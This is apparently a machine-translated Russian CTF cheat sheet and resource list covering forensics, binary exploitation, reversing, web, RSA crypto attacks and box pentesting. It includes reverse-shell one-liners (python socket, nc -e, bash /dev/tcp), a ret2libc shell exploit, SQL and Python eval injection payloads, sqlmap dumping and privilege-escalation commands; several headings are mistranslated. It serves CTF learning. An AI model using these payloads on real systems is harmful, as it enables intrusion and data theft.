Руководство для магистров по изучению безопасности
Рецензии/файлы для некоторых кибер-CTF, которые я сделал.
Я также включил список ресурсов CTF , а также подробную шпаргалку, охватывающую множество распространенных проблем CTF.
Примечание
Теперь на сайте hackback.zip есть веб-зеркало этого репозитория.
Оглавление
Ресурсы
- YouTube (Мы любим видеоресурсы)
- Сайты практики/обучения
- CTF
- Общий
- Пун
- Преподобный
- Интернет
- Крипто
- Смарт-контракты
- Облако
- Пентестирование
Шпаргалка по CTF
- Криминалистика/Стеганография
- Общий
- Аудио
- Изображение
- Видео
- Изображение машины
- ПКАП
- Pwn / Бинарная эксплуатация
- Общий
- Переполнение буфера
- PIE (Позиционное независимое исполнение)
- NX (неисполняемый файл)
- ROP (для статически скомпилированных двоичных файлов)
- Стек Канарейка
- Уязвимости форматной строки
- Шеллкод
- Возврат в Libc
- Реверс-инжиниринг
- SMT-решатели
- Отмена побайтовых проверок
- Поиск строк с помощью gef
- Интернет
- Крипто
КиберШеф
Общие шифры
ЮАР
- Получите информацию RSA с помощью pycryptodome
- Китайская теорема об остатках (p,q,e,c)
- Атака медника (c,e)
- Атака Поллардов (n,e,c)
- Винерская атака (n,e,c)
Основание 16, 32, 36, 58, 64, 85, 91, 92
- Коробка
- Подключение
- Перечисление
- Повышение привилегий
- Слушайте обратную оболочку
- Обратная оболочка
- Получить интерактивную оболочку
- ОСИНТ
- Разное
Ресурсы
YouTube-каналы
- Джон Хаммонд
- Раньше делал много видео в формате CTF, но перешёл к другим вещам.
- Еще масса полезных видео. CTF особенно хороши для обучения людей, впервые знакомых с киберпространством.
- Живое переполнение
- Делает чрезвычайно интересные и глубокие видеоролики о кибербезопасности.
- Имеет потрясающую серию игр
- IppSec
- Делает описания каждой машины HackTheBox.
- Рассказывает о различных способах решения и о том, почему все работает. Очень рекомендую
- Компьютерфил
- Те же люди, что и Numberphile, но круче. Делает интуитивно понятные видеоролики для начинающих об основных понятиях.
- pwn.колледж
- Профессор АГУ, у которого на pwn куча видео
- Материалы курса: https://pwn.college/
- Множество практических задач: https://dojo.pwn.college/
- PwnFunction
- Очень качественные и понятные анимационные ролики на разные темы.
- Темы немного сложные, но легко понятные.
- Мартин Карлайл
- Делает потрясающие видеоролики о проблемах picoCTF.
- Сэм Боун
- Профессор CCSF, который открывает исходные коды всех своих лекций и учебных материалов на своем веб-сайте.
- УФСИТ
- Команда UF Cyber (я немного предвзят, но это один из лучших каналов YouTube)
- Гинваэль
- Делает удивительно интуитивно понятные видеозаписи. Прошел весь picoCTF 2019 (это очень много)
- Информационная безопасность Блэк-Хиллз
- Охранная фирма, производящая массу образовательного контента
- Всегда провожу бесплатные курсы и веб-трансляции по темам безопасности.
- разбивание штабелей
- Потрясающие видео по реверс-инжинирингу и аппаратному взлому
- Есть действительно крутая серия его реверс-инжиниринга WannaCry.
- Бен Гринберг
- Профессор GMU с кучей видеоуроков по Pwn и вредоносному ПО
- Немного устаревший, но все равно хороший
- InfoSecLab в Технологическом институте Джорджии
- Хорошие и продвинутые углубленные лекции по pwn
- Требуются некоторые базовые знания
- РПИСЕК
- Встречи команды Университета RPI
- Очень продвинутый и предполагает некоторые базовые знания CS.
- Мэтт Браун
- Пентестер встроенной безопасности
- Делает отличные видеоролики для начинающих о взломе Интернета вещей.
Переговоры
Вот несколько слайдов, которые я собрал: hackback.zip/presentations.
Сайты практики/обучения
CTF
- ПикоCTF
- Множество удивительных практических задач.
- Определенно золотой стандарт для начала работы.
- УКФ
- В целом хорошо, но отличная игра в игре с пешками
- Сейчас работаю над размещением здесь рецензий
- хакер101
- CTF, но немного больше ориентирован на пентестирование
- CSAW
- На 90% меньше времени, и обычно ни одно из соединений не работает.
- Однако, если он состоится, у него будет много хороших вступительных испытаний.
- CTF101
- Одно из лучших представлений о CTF, которые я когда-либо видел (gj osiris)
- Очень лаконично и удобно для новичков
Общий
- HackTheBox
- Сайт бокса OG
- Коробки тщательно отбираются для обеспечения качества.
- Теперь есть некоторые проблемы в стиле CTF.
- Теперь есть курсы, с которых можно начать обучение
- ПопробуйтеHackMe
- Немного проще коробки, чем HackTheBox.
- Пошаговые задачи
- Теперь есть «пути обучения», которые помогут вам разобраться в темах.
- КиберсекЛабс
- Отличная коллекция коробочек
- Есть кое-что из CTF
- ВулнХаб
- Имеет уязвимые виртуальные машины, которые вам придется развернуть самостоятельно.
- Много разнообразия, но найти хороший, по моему, сложно.
Пун
- pwnable.kr
- Задачи с хорошим диапазоном сложности
- pwnable.tw
- Сложнее, чем pwnable.kr
- Имеет рецензии, как только вы решите задачу
- pwnable.xyz
- Еще больше проблем с головоломками
- Имеет рецензии, как только вы решите задачу
- Вы можете загрузить свои собственные задачи, как только решите их все.
- пешун додзё
- На мой взгляд лучший сборник головоломки
- Подкреплено слайдами, объясняющими, как это сделать, и есть разногласия, если вам нужна помощь.
- кошмар
- Золотой стандарт для взлома двоичных файлов C
- Есть несколько ошибок/опечаток, но в целом великолепно.
- головоломка
- Заметки случайного человека в сети
- Очень поверхностно, но хорошее введение во все
- Летняя школа безопасности
- Курс безопасности Бухарестского университета
- Очень удобные объяснения для начинающих.
- РПИСЕК МБЭ
- Курс современной бинарной эксплуатации RPI
- Имеет большое количество лабораторных работ/проектов для практики и несколько (слегка устаревших) лекций.
- How2heap
- Серия Heap Exploitation, созданная командой CTF ASU.
- Включает очень интересную функцию отладчика, показывающую, как работают эксплойты.
- ROPEemporium
- Набор задач в каждой крупной архитектуре, обучающей возвратно-ориентированному программированию.
- Очень высокое качество. Обучает самым базовым и самым продвинутым методам.
- Сейчас добавляю сюда свои записи
- Феникс Эксплойт Образование
- Множество проблем с бинарной эксплуатацией, упорядоченных по сложности
- Включает исходный код и виртуальную машину со всеми двоичными файлами.
Преподобный
- проблемы.ре
- Столько проблем 0_0
- Тонны разнообразия
- реверсивный.kr
- Crackmes.one
- Множество задач в стиле CTF (Crackme)
- Семинары по вредоносному ПО-единорогу
- Бесплатные семинары по обратному проектированию и анализу вредоносного ПО
Интернет
- websec.fr
- Множество веб-задач с хорошим диапазоном сложности.
- webhacking.kr
- Имеет архив множества хороших веб-задач.
- Защита веб-приложений
- Курс CCSF с открытым исходным кодом
- Магазин соков OWASP
- Очень ориентирован на пентестирование, но полезен для изучения сети в CTF.
- Всего более 100 уязвимостей/проблем.
- ПортСвиггер
- Золотой стандарт понимания веб-хакинга
- Множество удивительных задач и объяснений
- ДВВА
- Очень ориентирован на пентестирование, но полезен для изучения сети в CTF.
- бВАПП
- Очень ориентирован на пентестирование, но полезен для изучения сети в CTF.
- CTF вызов
- Коллекция веб-задач, созданных Адамом Лэнгли и максимально реалистичных.
- Хорошо для получения опыта вознаграждения за ошибки
Крипто
- КриптоХак
- Сейчас работаю над размещением здесь рецензий
- криптопалы
- Сайт криптовалютных соревнований OG.
- КриптоCTF
- Ежегодный CTF по криптографии. Предыдущие годы доступны по адресу
20{19,20,21,22,23,24}.cr.yp.toc.tf
.
Смарт-контракты
Облако
- CloudFoxable
- Показывает, как настроить уязвимую среду для использования с помощью Cloudfox.
- недостатки.облако
- Бесплатные задания по поиску секретов в S3, EC2 и Lambda.
Пентестирование
- хакер101
- хакерство
- Разработка эксплойтов
- Курс CCSF с открытым исходным кодом
- Введение в безопасность
- Курс Калифорнийского университета в Сан-Диего, который ведет Дейан Стефан
- Охватывает базовые Pwn и криптовалюты.
- Шпаргалка по Active Directory
- WADComs
- Интерактивная шпаргалка для сред Windows/AD
- ЛОЛБАС
- Интерактивная шпаргалка для двоичных файлов, скриптов и библиотек Windows «Жизнь за счет земли» для эксплуатации
- GTFOBins
- Интерактивная шпаргалка по методам «Жизни за счет земли» в Linux .
Шпаргалка по CTF
Криминалистика/Стеганография
Общий
- AperiSolve
- Инструмент, который автоматически запускает другие стегоинструменты.
- Действительно хороший ресурс от Джона Хаммонда для решения различных типов задач:
- https://github.com/JohnHammond/ctf-katana
- Еще одна замечательная шпаргалка для создания и решения задач:
- https://github.com/apsdehal/awesome-ctf/blob/master/README.md
- файл
-
file <file.xyz>
- Определяет тип файла
- Стегид
-
steghide extract -sf <file.xyz>
- Извлекает внедренные файлы
- Стегсик
-
stegseek <file> <password list>
- Извлекает внедренные файлы с помощью списка слов
- супер-супер быстро
- пешеходная дорожка
-
binwalk -M --dd=".*" <file.xyz>
- Извлекает внедренные файлы
- exiftool
-
exiftool <file.xyz>
- Читает метаданные
- струны
-
strings <file.xyz>
- Находит все печатные символы в файле
- шестнадцатеричное редактирование
-
hexedit <file.xyz>
- Возможно, вам придется изменить подпись файла на некоторых изображениях, чтобы они открывались.
- Список распространенных подписей файлов
- Ghex (еще один шестнадцатеричный редактор, но с графическим интерфейсом. Хорошо, если вам нужно перейти к определенному байту)
- docx-файлы представляют собой контейнеры, поэтому вы можете разархивировать их, чтобы найти скрытый контент.
- Grep — хороший способ использовать grep для рекурсивного поиска флага:
-
grep -r --text 'picoCTF{.*}'
-
egrep -r --text 'picoCTF{.*?}
- Вы можете изменить «picoCTF» на начало искомого флага.
- Ltrace — позволяет увидеть, что делает код во время запуска программы:
-
ltrace ./<file>
-
ltrace -s 100 ./<file>
- Ltrace укорачивает очень длинные строки. Вы можете использовать -s, чтобы увеличить количество отображаемых символов. Хорошо подходит для просмотра strcmp с большими строками.
Аудио
Звук факса:
SSTV (телевидение с медленной разверткой) аудио (лунные штуки)
- Пример
- Декодер
- Альтернативный декодер
- Используйте эти настройки qsstv:
Изображение спектрограммы
Меняйте высоту, скорость, направление...
- Высота, скорость, мелодия
- Обеспечить регресс
Клавиши телефона DTMF (двухтональный многочастотный)
-
multimon-ng -a DTMF -t wav <file.wav>
- Имейте в виду, что это может привести к многократному нажатию букв.
- Это может декодировать числа в текст
Кассетная лента
- Пример
- Декодер (wav для прослушивания файлов)
Азбука Морзе
Изображение
Видео
Изображение машины
- Восстановление файлов
- Вы можете смонтировать образ как виртуальную машину
- https://habr.com/ru/post/444940/
- Смонтируйте файл
.img
:-
binwalk -M --dd=".*" <fileName>
- запустите
file
на выходе и выберите файл файловой системы Linux -
losetup /dev/loop<freeLoopNumber> <fileSystemFile>
ПКАП
- Извлечение данных с помощью TCPFlow
- Извлечение данных с помощью Wireshark
- Файл → Экспортировать объекты → Сделать выбор
Pwn / Бинарная эксплуатация
- Для этого я предлагаю вместо этого просмотреть мой репозиторий LearnPwn, поскольку эта шпаргалка была создана до того, как я многое узнал о pwn.
- Тем не менее, я включил некоторые примечания, дополняющие то, что у меня есть здесь.
Общий
- проверьте безопасность ELF
-
checksec <binary>
-
rabin2 -I <binary>
- проверить безопасность PE
- двоичная проверка безопасности
-
binary-security-check <bin>.exe
- проверить seccomp bpf
- seccomp-инструменты
-
seccomp-tools dump ./<binary>
- посмотрите на символы
- посмотри на струны
- упаковать адрес в байт
- с прямым порядком байтов (для 32 бит)
-
python -c "import pwn; print(pwn.p32(<intAddr>))
- обратный порядок байтов (для 64 бит)
-
python -c "import pwn; print(pwn.p64(<intAddr>))
- pwntools автоматически упаковывает адреса с правильным порядком байтов.
Переполнение буфера
- Если вам когда-нибудь понадобится оболочка /bin/sh, и вы уверены, что она работает, но программа все равно завершает работу, воспользуйтесь этим трюком:
-
( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
- pwntools делает это с помощью
process.interactive()
PIE (Позиционное независимое исполнение)
- определить случайное значение
-
pwn cyclic <numChars>
для генерации полезных данных -
dmesg | tail | grep segfault
чтобы увидеть, где была ошибка -
pwn cyclic -l 0x<errorLocation>
чтобы увидеть случайное смещение для указателя управляющей инструкции - пример
NX (неисполняемый файл)
- Мы можем использовать ROP (возвратно-ориентированное программирование) для решения
ROP (для статически скомпилированных двоичных файлов)
- ROPGаджет
- просматривать гаджеты и автоматически генерировать цепочки
-
ROPgadget --ropchain --binary <binary>
- Затем вы можете добавить дополнение в начало кода (в зависимости от разницы между вашим буфером и адресом возврата) и запустить код, чтобы получить оболочку.
- Демо
- ропр
Стек Канарейка
Поиск канарейки стека в отладчике
- Канарейка стека — это значение, помещаемое перед EIP/RIP (указателем инструкции), которое может быть перезаписано при переполнении буфера. Программа вызывает ошибку, если стек перезаписан чем-то другим, чем он был изначально. Наша цель — найти исходный стек, чтобы при переполнении программа работала нормально.
- Канарейка стека берется из
gs
или fs
(для 32- и 64-битной версии соответственно)- В дизассемблере, прежде чем что-то прочитать, можно увидеть строку, похожую на следующую:
0x000000000000121a <+4>: sub rsp,0x30
0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax
0x000000000000122b <+21>:xor eax,eax
- Здесь канарейка стека перемещается в
rax
со смещением +8.- Таким образом, остановитесь на следующем смещении и проверьте, что находится в rax (
ir rax
), чтобы увидеть текущую канарейку.
Статические канарейки
- Канарейка является статической только в том случае, если она была реализована программистом вручную (что имеет место в некоторых вводных задачах) или если вы можете разветвить программу.
- Когда вы разветвляете двоичный файл, он имеет ту же самую канарейку, поэтому вы можете выполнить побайтовый перебор этого файла.
Дополнительный
Если канарейка стека неправильно перезаписана, это приведет к вызову __stack_chk_fail
- Если мы не можем раскрыть канарейку, мы также можем изменить таблицу GOT, чтобы предотвратить ее вызов.
Канарейка хранится в структуре TLS
текущего стека и инициализируется с помощью security_init
- Если вы можете перезаписать реальное канареечное значение, вы можете установить его равным тому, что вы решите переполнить.
Простой скрипт для перебора статической 4-байтовой канарейки:
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF ( './vuln' )
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range ( 1 , 5 ):
for letter in range ( 0 , len ( alphabet )): # We will go through each letter/number in the string 'alphabet'
p = elf . process () # We start the process
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( str ( 32 + i )) # In this program, we had to specify how many bytes we were gonna send.
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( 'A' * 32 + canary + alphabet [ letter ]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p . recv (). decode ( 'utf-8' )
if "Stack" not in prompt : # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet [ letter ] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print ( "The canary is: " + canary )
Уязвимости форматной строки
- Посмотрите в Таблице 2, что делать, если вы видите «printf(buf)» или что-то в этом роде:
- https://owasp.org/www-community/attacks/Format_string_attack
- Настоятельно рекомендую посмотреть, как Джон Хаммонд выполняет задание «echooo» на picoCTF 2018.
- Иногда попытка напечатать из стека только строки, например: '%s %s %s %s %s %s' может привести к ошибкам, поскольку не все в стеке является строкой.
- Попытайтесь свести это к минимуму, выполнив вместо этого «%x %x %x %x %x %s».
- Вместо того, чтобы постоянно увеличивать количество вводимых %x и %s, вы можете передать параметр, чтобы упростить задачу:
-
%1$s
— это напечатает первое значение в стеке (насколько я понимаю, то, что рядом с вашим буфером) в виде строки. -
%2$s
— второе значение будет напечатано в виде строки, и вы поймете идею. - Вы можете использовать однострочные циклы, чтобы попытаться найти флаг путем утечки стека. Нажмите ^C (CTRL + C), чтобы перейти к следующему значению.
-
for i in {1..100}; do echo "%$i$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
- Вы можете контролировать объем утечки, используя различные параметры размера:
-
%hhx
пропускает 1 байт (половину половины размера int) -
%hx
пропускает 2 байта (половина размера int) -
%x
пропускает 4 байта (размер int) -
%lx
пропускает 8 байт (длинный размер)
- очень хорошее видео об изменении стека с помощью fstring vuln и %n:
- https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle
Шеллкод
- Хороший сайт для поиска различных шеллкодов:
- http://shell-storm.org/shellcode/
Возврат в Libc
Мы перезапишем EIP для вызова библиотечной функции system(), а также передадим то, что она должна выполнить, в этом примере буфер с «/bin/sh».
Хорошее объяснение:
- https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
Хороший пример (перейдите к 3:22:44):
- https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
- https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
Получить адрес для execve("/bin/sh")
Если вы уже знаете файл libc и его местоположение (т. е. не нужно их раскрывать...)
#!/bin/python3
from pwn import *
import os
binaryName = 'ret2libc1'
# get the address of libc file with ldd
libc_loc = os . popen ( f'ldd { binaryName } ' ). read (). split ( ' n ' )[ 1 ]. strip (). split ()[ 2 ]
# use one_gadget to see where execve is in that libc file
one_gadget_libc_execve_out = [ int ( i . split ()[ 0 ], 16 ) for i in os . popen ( f'one_gadget { libc_loc } ' ). read (). split ( " n " ) if "execve" in i ]
# pick one of the suitable addresses
libc_execve_address = one_gadget_libc_execve_out [ 1 ]
p = process ( f'./ { binaryName } ' )
e = ELF ( f'./ { binaryName } ' )
l = ELF ( libc_loc )
# get the address of printf from the binary output
printf_loc = int ( p . recvuntil ( ' n ' ). rstrip (), 16 )
# get the address of printf from libc
printf_libc = l . sym [ 'printf' ]
# calculate the base address of libc
libc_base_address = printf_loc - printf_libc
# generate payload
# 0x17 is from gdb analysis of offset from input to return address
offset = 0x17
payload = b"A" * offset
payload += p64 ( libc_base_address + libc_execve_address )
# send the payload
p . sendline ( payload )
# enter in interactive so we can use the shell created from our execve payload
p . interactive ()
Реверс-инжиниринг
Крутое руководство: https://opensource.com/article/20/4/linux-binary-anaанализ
- Гидра
- Очень полезный декомпилятор
- dotPeek или dnSpy
- декомпилировать исполняемые файлы .NET
- jadx и jadx-gui
- зона разработчика
- декомпилировать Java онлайн
- Квилтфлауэр
- Расширенный декомпилятор Java на основе терминала
- apktool
- декомпилировать APK
-
apktool d *.apk
- БДБ
- Бинарный анализ
- peda (расширение для увеличения функциональности)
- gef (расширение gdb для игроков)
- радар2
- НИТЬ
-
strings
на стероидах. Использует статический анализ для поиска и вычисления строк.
SMT-решатели
- злость (питон)
- Документы
- Учебное пособие
- z3
Отмена побайтовых проверок (атака по побочному каналу)
https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html
- Вот версия, которую я сделал для испытания, в котором используется атака по времени:
- Возможно, вам придется запустить его пару раз, чтобы учесть случайность.
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context . log_level = 'error'
s = ''
print ( "*" * keyLen )
for chars in range ( keyLen ):
a = []
for i in string . printable :
p = process ( f'perf stat -x, -e cpu-clock ./ { binaryName } ' . split ())
p . readline ()
currPass = s + i + '0' * ( keyLen - chars - 1 )
# print(currPass)
p . sendline ( currPass . encode ())
p . readline ()
p . readline ()
p . readline ()
info = p . readall (). split ( b',' )[ 0 ]
p . close ()
try :
a . append (( float ( info ), i ))
except :
pass
# print(float(info), i)
a . sort ( key = lambda x : x [ 0 ])
s += str ( a [ - 1 ][ 1 ])
print ( s + "*" * ( keyLen - len ( s )))
# print(sorted(a, key = lambda x: x[0]))
p = process ( f'./ { binaryName } ' )
p . sendline ( s . encode ())
p . interactive ()
Поиск строк с помощью gef
- Если ваш флаг считывается в переменную или регистр в любой момент, вы можете прервать его после перемещения и запустить
grep <string>
, и gef автоматически покажет вам строку, соответствующую вашему шаблону поиска.
Интернет
- Никто (если разрешено)
- автоматически ищет уязвимости
- гобастер (если разрешено)
- Перебор каталогов и файлов
- гидра (если разрешено)
- Брутфорс логинов для различных сервисов
- BurpSuite
- Перехватывает веб-запросы и позволяет изменять их.
- Вайршарк
- Анализируйте сетевой трафик и файлы pcap.
- обратная оболочка PHP
- Полезно для веб-сайтов, которые позволяют загружать файлы.
- Для работы этот файл должен быть запущен на сервере
- WPScan
- Сканировать сайты WordPress
- Используйте
wpscan --url <site> --plugins-detection mixed -e
с ключом API для достижения наилучших результатов.
- JWT
- Вы можете идентифицировать токен JWT, поскольку json в кодировке Base64 (и, следовательно, токены jwt) начинается с «ey».
- Этот сайт будет декодировать веб-токены JSON.
- Вы можете раскрыть секрет веб-токена JSON, чтобы изменить и подписать свои собственные токены.
-
echo <token> > jwt.txt
-
john jwt.txt
- SQL-инъекция
- sqlmap
-
sqlmap --forms --dump-all -u <url>
- Автоматизирует процесс внедрения SQL
- Базовая SQL-инъекция
- Введите
'OR 1=1--
в форме входа. - На сервере это будет выглядеть как
SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''
-
1=1
оценивается как true, что удовлетворяет оператору OR
, а остальная часть запроса закомментируется с помощью --
- Полезные нагрузкиAllTheThings
- Отличный ресурс для веб-эксплуатации с большим количеством полезной нагрузки.
- Внедрение шаблона
- tplmap
- Автоматическое внедрение шаблонов на стороне сервера
- Джинджа Инъекция
- Колба для инъекций
- Функция Python eval()
-
__import__.('subprocess').getoutput('<command>')
- обязательно поменяйте круглые скобки, если это не работает
-
__import__.('subprocess').getoutput('ls').split('\n')
- Еще больше инъекций Python
- Межсайтовый скриптинг
- Оценщик CSP
- Оценщик политики безопасности контента Google
Фаззинг полей ввода
- ФФУФ
- Скопируйте запрос в поле ввода и замените параметр на «FUZZ»:
-
ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
- Используйте
-fs
для фильтрации размеров
Крипто
КиберШеф
- КиберШеф
- Выполняет различные криптографические операции.
Детектор шифров
Хэши
- хашид
- Утилита командной строки для определения типа хеша
Общие шифры
- Шифр Цезаря
- Шифр Виженера
#### Solver using custom table
cipherText = ""
plainText = ""
flagCipherText = ""
tableFile = ""
with open ( cipherText ) as fin :
cipher = fin . readline (). rstrip ()
with open ( plainText ) as fin :
plain = fin . readline (). rstrip ()
with open ( flagCipherText ) as fin :
flag = fin . readline (). rstrip ()
with open ( tableFile ) as fin :
table = [ i . rstrip (). split () for i in fin . readlines ()]
table [ 0 ]. insert ( 0 , "" ) # might have to modify this part.
# just a 2d array with the lookup table
# should still work if the table is slightly off, but the key will be wrong
key = ""
for i , c in enumerate ( plain [ 0 : 100 ]):
col = table [ 0 ]. index ( c )
for row in range ( len ( table )):
if table [ row ][ col ] == cipher [ i ]:
key += table [ row ][ 0 ]
break
print ( key )
dec_flag = ""
for i , c in enumerate ( flag [: - 1 ]):
col = table [ 0 ]. index ( key [ i ])
for row in range ( len ( table )):
if table [ row ][ col ] == flag [ i ]:
dec_flag += table [ row ][ 0 ]
break
print ( dec_flag )
- Шифр замены
- Рот13
- Шифр Цезаря с ключом
ЮАР
Получите информацию RSA с помощью pycryptodome
from Crypto . PublicKey import RSA
keyName = "example.pem"
with open ( keyName , 'r' ) as f :
key = RSA . import_key ( f . read ())
print ( key )
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print ( key . p )
print ( key . q )
print ( key . n )
print ( key . e )
print ( key . d )
print ( key . u )
# public keys have n and e
Китайская теорема об остатках (p,q,e,c)
def egcd ( a , b ):
if a == 0 :
return ( b , 0 , 1 )
g , y , x = egcd ( b % a , a )
return ( g , x - ( b // a ) * y , y )
def modinv ( a , m ):
g , x , y = egcd ( a , m )
if g != 1 :
raise Exception ( 'No modular inverse' )
return x % m
p =
q =
e =
c =
n = p * q # use factordb command or website to find factors
phi = ( p - 1 ) * ( q - 1 ) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv ( e , phi ) # private key
# print(d)
m = pow ( c , d , n ) # decrypted plaintext message in long integer form
thing = hex ( m )[ 2 :] # ascii without extra stuff at the start (0x)
print ( bytes . fromhex ( thing ). decode ( 'ascii' ))
#!/bin/python3
from Crypto . Util . number import *
from factordb . factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB ( n )
f . connect ()
factors = f . get_factor_list ()
phi = 1
for i in factors :
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )
- Веб-сайт, на котором представлены коэффициенты и тотент Эйлера (фи)
- https://www.alpertron.com.ar/ECM.HTM
Атака медника (c,e)
- Обычно используется, если показатель степени очень мал (e <= 5)
from Crypto . Util . number import *
def nth_root ( radicand , index ):
lo = 1
hi = radicand
while hi - lo > 1 :
mid = ( lo + hi ) // 2
if mid ** index > radicand :
hi = mid
else :
lo = mid
if lo ** index == radicand :
return lo
elif hi ** index == radicand :
return hi
else :
return - 1
c =
e =
plaintext = long_to_bytes ( nth_root ( c , e ))
print ( plaintext . decode ( "UTF-8" ))
Атака Поллардов (n,e,c)
- Основан на методе факторизации Полларда, который позволяет легко факторизовать произведения простых чисел, если они (B) гладкие.
- Это тот случай, если
p-1 | B!
и q - 1
имеет коэффициент > B
from Crypto . Util . number import *
from math import gcd
n =
c =
e =
def pollard ( n ):
a = 2
b = 2
while True :
a = pow ( a , b , n )
d = gcd ( a - 1 , n )
if 1 < d < n :
return d
b += 1
p = pollard ( n )
q = n // p
phi = 1
for i in [ p , q ]:
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )
Винерская атака (n,e,c)
- Для использования, когда d слишком мало (или e слишком велико)
- Использование этого модуля Python
- Доказательство
from Crypto . Util . number import *
import owiener
n =
e =
c =
d = owiener . attack ( e , n )
m = pow ( c , d , n )
flag = long_to_bytes ( m )
print ( flag )
Основание 16, 32, 36, 58, 64, 85, 91, 92
https://github.com/mufeedvh/basecrack
Коробка
Подключение
- сш
-
ssh <username>@<ip>
-
ssh <username>@<ip> -i <private key file>
- Подключите SSH как файловую систему локально:
-
sshfs -p <port> <user>@<ip>: <mount_directory>
- Известные хосты
-
ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>
- неткэт
Перечисление
Повышение привилегий
- лин горох
-
./linpeas.sh
- Автоматически ищет векторы повышения привилегий.
- Список команд, которые мы можем запускать от имени пользователя root
- Найти файлы с разрешением SUID
-
find / -perm -u=s -type f 2>/dev/null
- Эти файлы выполняются с привилегиями владельца, а не пользователя, выполняющего их.
- Найдите разрешения для всех служб
-
accesschk.exe -uwcqv *
- Найдите службы, которые не находятся под учетной записью «Система» или «Администратор».
- Служба запросов
-
sc qc <service name>
- Работает только в cmd.exe
Слушайте обратную оболочку
Обратная оболочка
- revshells.com
- шаблоны практически всего, что вам может понадобиться
-
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
nc -e /bin/sh <ip> <port>
-
bash -i >& /dev/tcp/<ip>/<port> 0>&1
Получить интерактивную оболочку
Линукс
- Запустите следующую команду Python, чтобы сделать ее частично интерактивной:
python -c 'import pty;pty.spawn("/bin/bash");'
- Выйдите из сеанса netcat, нажав
CTRL+Z
, и запустите stty raw -echo
локально. - Повторно войдите в сеанс с помощью команды
fg
(а затем, если необходимо, введите идентификатор задания). - Измените эмулятор терминала на xterm, выполнив команду
export TERM=xterm
(это может быть необязательно). - Измените оболочку на bash, выполнив команду
export SHELL=bash
(возможно, в этом нет необходимости). - Сделанный! Теперь ваша оболочка должна быть полностью интерактивной.
Окна / Общие
- Установите
rlwrap
в свою систему - Теперь каждый раз, когда вы запускаете прослушиватель nc, просто ставьте
rlwrap
впереди - Например:
rlwrap nc -lvnp 1337
- Это даст вам клавиши со стрелками и историю команд, но не даст автозаполнения (насколько я могу судить) для систем Windows и *nix.
ОСИНТ
- пимейс
- Обратный поиск по лицам в Интернете
- ОСИНТ-фреймворк
- Веб-сайт, объединяющий множество инструментов OSINT
- Геошпион ИИ
- LLM геопространственного видения, который может оценить местоположение только по изображению
- эстакада турбо
- Веб-сайт, позволяющий запрашивать API OpenStreetMap и визуализировать результаты.
- OSM-поиск Bellingcat
- Веб-сайт, который позволяет легко запрашивать OSM API
Разное